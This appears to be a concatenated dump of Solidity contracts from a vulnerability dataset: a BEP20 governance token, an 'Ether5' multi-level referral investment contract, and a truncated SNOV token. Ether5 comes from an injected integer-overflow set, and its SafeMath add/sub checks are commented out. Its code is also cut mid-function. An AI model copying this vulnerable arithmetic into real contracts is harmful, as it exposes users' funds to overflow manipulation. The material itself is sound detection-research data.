getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function getOwner() external override view returns (address) { return owner(); } function name() public override view returns (string memory) { return _name; } function decimals() public override view returns (uint8) { return _decimals; } function symbol() public override view returns (string memory) { return _symbol; } function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance')); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero')); return true; } function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), 'BEP20: transfer from the zero address'); require(recipient != address(0), 'BEP20: transfer to the zero address'); _balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), 'BEP20: mint to the zero address'); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), 'BEP20: burn from the zero address'); _balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), 'BEP20: approve from the zero address'); require(spender != address(0), 'BEP20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance')); } } // TinToken with Governance. contract TinToken is BEP20('Tin Finance', 'TIN') { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "TIN::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "CAKE::delegateBySig: invalid nonce"); require(now <= expiry, "TIN::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "TIN::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "TIN::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
250,264
12,173
7d7c45f188d5a7653160ed290cfbc628c42c059ad142edd55ec6fd57e3cf2a21
29,330
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
injectedContractDataSet/integerOverflow/0xd9d4962722a4777BC3565e562f01F698bFc0b906_integerOverflow.sol
4,552
18,939
pragma solidity ^0.5.11; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; //require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } library DataStructs { struct DailyRound { uint256 startTime; uint256 endTime; bool ended; //has daily round ended uint256 pool; //amount in the pool; } struct Player { uint256 totalInvestment; uint256 totalVolumeEth; uint256 eventVariable; uint256 directReferralIncome; uint256 roiReferralIncome; uint256 currentInvestedAmount; uint256 dailyIncome; uint256 lastSettledTime; uint256 incomeLimitLeft; uint256 investorPoolIncome; uint256 sponsorPoolIncome; uint256 superIncome; uint256 referralCount; address referrer; } struct PlayerDailyRounds { uint256 selfInvestment; uint256 ethVolume; } } contract Ether5 { using SafeMath for *; address public owner; address public roundStarter; uint256 private houseFee = 18; uint256 private poolTime = 24 hours; uint256 private payoutPeriod = 24 hours; uint256 private dailyWinPool = 10; uint256 private incomeTimes = 30; uint256 private incomeDivide = 10; uint256 public roundID; uint256 public r1 = 0; uint256 public r2 = 0; uint256 public r3 = 0; uint256[3] private awardPercentage; mapping (uint => uint) public CYCLE_PRICE; mapping (address => bool) public playerExist; mapping (uint256 => DataStructs.DailyRound) public round; mapping (address => DataStructs.Player) public player; mapping (address => mapping (uint256 => DataStructs.PlayerDailyRounds)) public plyrRnds_; event registerUserEvent(address indexed _playerAddress, address indexed _referrer); event investmentEvent(address indexed _playerAddress, uint256 indexed _amount); event referralCommissionEvent(address indexed _playerAddress, address indexed _referrer, uint256 indexed amount, uint256 timeStamp); event dailyPayoutEvent(address indexed _playerAddress, uint256 indexed amount, uint256 indexed timeStamp); event withdrawEvent(address indexed _playerAddress, uint256 indexed amount, uint256 indexed timeStamp); event ownershipTransferred(address indexed owner, address indexed newOwner); constructor (address _roundStarter) public { owner = msg.sender; roundStarter = _roundStarter; roundID = 1; round[1].startTime = now; round[1].endTime = now + poolTime; awardPercentage[0] = 50; awardPercentage[1] = 30; awardPercentage[2] = 20; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 100000000000000000, "Minimum contribution amount is 0.1 ETH"); _; } modifier isallowedValue(uint256 _eth) { require(_eth % 100000000000000000 == 0, "Amount should be in multiple of 0.1 ETH please"); _; } modifier onlyOwner() { require(msg.sender == owner, "only Owner"); _; } //if someone accidently sends eth to contract address function () external payable { playGame(address(0x0)); } function playGame(address _referrer) public isWithinLimits(msg.value) isallowedValue(msg.value) payable { uint256 amount = msg.value; if (playerExist[msg.sender] == false) { player[msg.sender].lastSettledTime = now; player[msg.sender].currentInvestedAmount = amount; player[msg.sender].incomeLimitLeft = amount.mul(incomeTimes).div(incomeDivide); player[msg.sender].totalInvestment = amount; player[msg.sender].eventVariable = 100 ether; playerExist[msg.sender] = true; //update player's investment in current round plyrRnds_[msg.sender][roundID].selfInvestment = plyrRnds_[msg.sender][roundID].selfInvestment.add(amount); if(// is this a referred purchase? _referrer != address(0x0) && //self referrer not allowed _referrer != msg.sender && //referrer exists? playerExist[_referrer] == true) { player[msg.sender].referrer = _referrer; player[_referrer].referralCount = player[_referrer].referralCount.add(1); player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount); plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount); referralBonusTransferDirect(msg.sender, amount.mul(20).div(100)); } else { r1 = r1.add(amount.mul(20).div(100)); _referrer = address(0x0); } emit registerUserEvent(msg.sender, _referrer); } //if the player has already joined earlier else { require(player[msg.sender].incomeLimitLeft == 0, "Oops your limit is still remaining"); require(amount >= player[msg.sender].currentInvestedAmount, "Cannot invest lesser amount"); player[msg.sender].lastSettledTime = now; player[msg.sender].currentInvestedAmount = amount; player[msg.sender].incomeLimitLeft = amount.mul(incomeTimes).div(incomeDivide); player[msg.sender].totalInvestment = player[msg.sender].totalInvestment.add(amount); //update player's investment in current round plyrRnds_[msg.sender][roundID].selfInvestment = plyrRnds_[msg.sender][roundID].selfInvestment.add(amount); if(// is this a referred purchase? _referrer != address(0x0) && // self referrer not allowed _referrer != msg.sender && //does the referrer exist? playerExist[_referrer] == true) { //if the user has already been referred by someone previously, can't be referred by someone else if(player[msg.sender].referrer != address(0x0)) _referrer = player[msg.sender].referrer; else { player[msg.sender].referrer = _referrer; player[_referrer].referralCount = player[_referrer].referralCount.add(1); } player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount); plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount); //assign the referral commission to all. referralBonusTransferDirect(msg.sender, amount.mul(20).div(100)); } else if(//0x0 coming from the UI _referrer == address(0x0) && //check if the someone has previously referred the user player[msg.sender].referrer != address(0x0)) { _referrer = player[msg.sender].referrer; plyrRnds_[_referrer][roundID].ethVolume = plyrRnds_[_referrer][roundID].ethVolume.add(amount); player[_referrer].totalVolumeEth = player[_referrer].totalVolumeEth.add(amount); //assign the referral commission to all. referralBonusTransferDirect(msg.sender, amount.mul(20).div(100)); } else { //no referrer, neither was previously used, nor has used now. r1 = r1.add(amount.mul(20).div(100)); } } round[roundID].pool = round[roundID].pool.add(amount.mul(dailyWinPool).div(100)); player[owner].dailyIncome = player[owner].dailyIncome.add(amount.mul(houseFee).div(100)); r3 = r3.add(amount.mul(5).div(100)); emit investmentEvent (msg.sender, amount); } function referralBonusTransferDirect(address _playerAddress, uint256 amount) private { address _nextReferrer = player[_playerAddress].referrer; uint256 _amountLeft = amount.mul(60).div(100); uint i; for(i=0; i < 10; i++) { if (_nextReferrer != address(0x0)) { //referral commission to level 1 if(i == 0) { if (player[_nextReferrer].incomeLimitLeft >= amount.div(2)) { player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(2)); player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(amount.div(2)); emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.div(2), now); } else if(player[_nextReferrer].incomeLimitLeft !=0) { player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(player[_nextReferrer].incomeLimitLeft); r1 = r1.add(amount.div(2).sub(player[_nextReferrer].incomeLimitLeft)); emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now); player[_nextReferrer].incomeLimitLeft = 0; } else { r1 = r1.add(amount.div(2)); } _amountLeft = _amountLeft.sub(amount.div(2)); } else if(i == 1) { if(player[_nextReferrer].referralCount >= 2) { if (player[_nextReferrer].incomeLimitLeft >= amount.div(10)) { player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(10)); player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(amount.div(10)); emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.div(10), now); } else if(player[_nextReferrer].incomeLimitLeft !=0) { player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(player[_nextReferrer].incomeLimitLeft); r1 = r1.add(amount.div(10).sub(player[_nextReferrer].incomeLimitLeft)); emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now); player[_nextReferrer].incomeLimitLeft = 0; } else { r1 = r1.add(amount.div(10)); } } else{ r1 = r1.add(amount.div(10)); } _amountLeft = _amountLeft.sub(amount.div(10)); } //referral commission from level 3-10 else { if(player[_nextReferrer].referralCount >= i+1) { if (player[_nextReferrer].incomeLimitLeft >= amount.div(20)) { player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(20)); player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(amount.div(20)); emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.div(20), now); } else if(player[_nextReferrer].incomeLimitLeft !=0) { player[_nextReferrer].directReferralIncome = player[_nextReferrer].directReferralIncome.add(player[_nextReferrer].incomeLimitLeft); r1 = r1.add(amount.div(20).sub(player[_nextReferrer].incomeLimitLeft)); emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now); player[_nextReferrer].incomeLimitLeft = 0; } else { r1 = r1.add(amount.div(20)); } } else { r1 = r1.add(amount.div(20)); } } } else { r1 = r1.add((uint(10).sub(i)).mul(amount.div(20)).add(_amountLeft)); break; } _nextReferrer = player[_nextReferrer].referrer; } } function referralBonusTransferDailyROI(address _playerAddress, uint256 amount) private { address _nextReferrer = player[_playerAddress].referrer; uint256 _amountLeft = amount.div(2); uint i; for(i=0; i < 20; i++) { if (_nextReferrer != address(0x0)) { if(i == 0) { if (player[_nextReferrer].incomeLimitLeft >= amount.div(2)) { player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(2)); player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.div(2)); emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.div(2), now); } else if(player[_nextReferrer].incomeLimitLeft !=0) { player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft); r2 = r2.add(amount.div(2).sub(player[_nextReferrer].incomeLimitLeft)); emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now); player[_nextReferrer].incomeLimitLeft = 0; } else { r2 = r2.add(amount.div(2)); } _amountLeft = _amountLeft.sub(amount.div(2)); } else { // for users 2-20 if(player[_nextReferrer].referralCount >= i+1) { if (player[_nextReferrer].incomeLimitLeft >= amount.div(20)) { player[_nextReferrer].incomeLimitLeft = player[_nextReferrer].incomeLimitLeft.sub(amount.div(20)); player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(amount.div(20)); emit referralCommissionEvent(_playerAddress, _nextReferrer, amount.div(20), now); }else if(player[_nextReferrer].incomeLimitLeft !=0) { player[_nextReferrer].roiReferralIncome = player[_nextReferrer].roiReferralIncome.add(player[_nextReferrer].incomeLimitLeft); r2 = r2.add(amount.div(20).sub(player[_nextReferrer].incomeLimitLeft)); emit referralCommissionEvent(_playerAddress, _nextReferrer, player[_nextReferrer].incomeLimitLeft, now); player[_nextReferrer].incomeLimitLeft = 0; } else { r2 = r2.add(amount.div(20)); } } else { r2 = r2.add(amount.div(20)); //make a note of the missed commission; } } } else { if(i==0){ r2 = r2.add(amount.mul(145).div(100)); break; } else { r2 = r2.add((uint(20).sub(i)).mul(amount.div(20)).add(_amountLeft)); break; } } _nextReferrer = player[_nextReferrer].referrer; } } //method to settle and withdraw the daily ROI function settleIncome(address _playerAddress) private { uint256 remainingTimeForPayout; uint256 currInvestedAmount; if(now > player[_playerAddress].lastSettledTime + payoutPeriod) { //calculate how much time has passed since last settlement uint256 extraTime = now.sub(player[_playerAddress].lastSettledTime); uint256 _dailyIncome; //calculate how many number of days, payout is remaining remainingTimeForPayout = (extraTime.sub((extraTime % payoutPeriod))).div(payoutPeriod); currInvestedAmount = player[_playerAddress].currentInvestedAmount; / function transferOwnership(address newOwner) external onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) private { require(newOwner != address(0), "New owner cannot be the zero address"); emit ownershipTransferred(owner, newOwner); owner = newOwner; } }
280,261
12,174
d6dc995fb85dabd13ccd0d2066f69ab896584c9b0986ec7ff150b1d25068b395
11,146
.sol
Solidity
false
111633870
bokkypoobah/Tokens
97950a9e4915596d1ec00887c3c1812cfdb122a2
Mainnet-token-contracts-20180610/contracts/0xbdc5bac39dbe132b1e030e898ae3830017d7d969-SNOV-Snovio.sol
2,744
10,225
pragma solidity ^0.4.11; contract SafeMath { function safeMul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC20 { /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is ERC20, SafeMath { mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /// @dev Transfers sender's tokens to a given address. Returns success. /// @param _to Address of token receiver. /// @param _value Number of tokens to transfer. function transfer(address _to, uint256 _value) returns (bool) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } else return false; } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. function transferFrom(address _from, address _to, uint256 _value) returns (bool) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } else return false; } /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. function approve(address _spender, uint256 _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Returns number of allowed tokens for given address. /// @param _owner Address of token owner. /// @param _spender Address of token spender. function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MultiOwnable { mapping (address => bool) ownerMap; address[] public owners; event OwnerAdded(address indexed _newOwner); event OwnerRemoved(address indexed _oldOwner); modifier onlyOwner() { if (!isOwner(msg.sender)) throw; _; } function MultiOwnable() { // Add default owner address owner = msg.sender; ownerMap[owner] = true; owners.push(owner); } function ownerCount() constant returns (uint256) { return owners.length; } function isOwner(address owner) constant returns (bool) { return ownerMap[owner]; } function addOwner(address owner) onlyOwner returns (bool) { if (!isOwner(owner) && owner != 0) { ownerMap[owner] = true; owners.push(owner); OwnerAdded(owner); return true; } else return false; } function removeOwner(address owner) onlyOwner returns (bool) { if (isOwner(owner)) { ownerMap[owner] = false; for (uint i = 0; i < owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; OwnerRemoved(owner); return true; } else return false; } } contract TokenSpender { function receiveApproval(address _from, uint256 _value); } contract BsToken is StandardToken, MultiOwnable { bool public locked; string public name; string public symbol; uint256 public totalSupply; uint8 public decimals = 18; string public version = 'v0.1'; address public creator; address public seller; uint256 public tokensSold; uint256 public totalSales; event Sell(address indexed _seller, address indexed _buyer, uint256 _value); event SellerChanged(address indexed _oldSeller, address indexed _newSeller); modifier onlyUnlocked() { if (!isOwner(msg.sender) && locked) throw; _; } function BsToken(string _name, string _symbol, uint256 _totalSupplyNoDecimals, address _seller) MultiOwnable() { // Lock the transfer function during the presale/crowdsale to prevent speculations. locked = true; creator = msg.sender; seller = _seller; name = _name; symbol = _symbol; totalSupply = _totalSupplyNoDecimals * 1e18; balances[seller] = totalSupply; Transfer(0x0, seller, totalSupply); } function changeSeller(address newSeller) onlyOwner returns (bool) { if (newSeller == 0x0 || seller == newSeller) throw; address oldSeller = seller; uint256 unsoldTokens = balances[oldSeller]; balances[oldSeller] = 0; balances[newSeller] = safeAdd(balances[newSeller], unsoldTokens); Transfer(oldSeller, newSeller, unsoldTokens); seller = newSeller; SellerChanged(oldSeller, newSeller); return true; } function sellNoDecimals(address _to, uint256 _value) returns (bool) { return sell(_to, _value * 1e18); } function sell(address _to, uint256 _value) onlyOwner returns (bool) { if (balances[seller] >= _value && _value > 0) { balances[seller] = safeSub(balances[seller], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(seller, _to, _value); tokensSold = safeAdd(tokensSold, _value); totalSales = safeAdd(totalSales, 1); Sell(seller, _to, _value); return true; } else return false; } function transfer(address _to, uint256 _value) onlyUnlocked returns 